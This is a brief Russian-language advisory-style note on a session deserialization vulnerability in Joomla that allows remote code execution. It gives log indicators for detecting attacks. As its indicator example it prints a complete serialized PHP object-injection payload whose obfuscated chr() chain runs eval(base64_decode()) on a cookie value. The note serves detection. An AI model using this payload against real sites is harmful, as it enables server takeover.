Уязвимость заключается в отсутствии должной фильтрации данных пользователя (заголовки user-agent и x-forwarded-for).Данные сохраняются в базу данных в сериализованном виде обработчиком сессий. Из-за бага обработки UTF8 строк Mysql, при сохранении данные обрезаются, позволяя внедрить произвольный объект (выполнить код) в массив $_SESSION при чтении данных сессии из бд.

Для данной уязвимости существует модуль в составе Metasploit Framework, позволяющий значительно упростить и автоматизировать атаку.

Признаки атаки: в журнале веб-сервера присутствуют серилизованные объекты PHP или фрагмент JDatabaseDriverMysqli, например:

}__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc"%3BO:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers"%3Ba:1:{i:0%3Ba:2:{i:0%3BO:9:"SimplePie":5:{s:8:"sanitize"%3BO:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url"%3Bs:323:"eval(chr(101).chr(118).chr(97).chr(108).chr(40).chr(98).chr(97).chr(115).chr(101).chr(54).chr(52).chr(95).chr(100).chr(101).chr(99).chr(111).chr(100).chr(101).chr(40).chr(36).chr(95).chr(67).chr(79).chr(79).chr(75).chr(73).chr(69).chr(91).chr(49).chr(49).chr(49).chr(93).chr(41).chr(41).chr(59))%3BJFactory::getConfig()%3Bexit%3B"%3Bs:19:"cache_name_function"%3Bs:6:"assert"%3Bs:5:"cache"%3Bb:1%3Bs:11:"cache_class"%3BO:20:"JDatabaseDriverMysql":0:{}}i:1%3Bs:4:"init"%3B}}s:13:"\0\0\0connection"%3Bb:1%3B}%F0%FD%FD%FD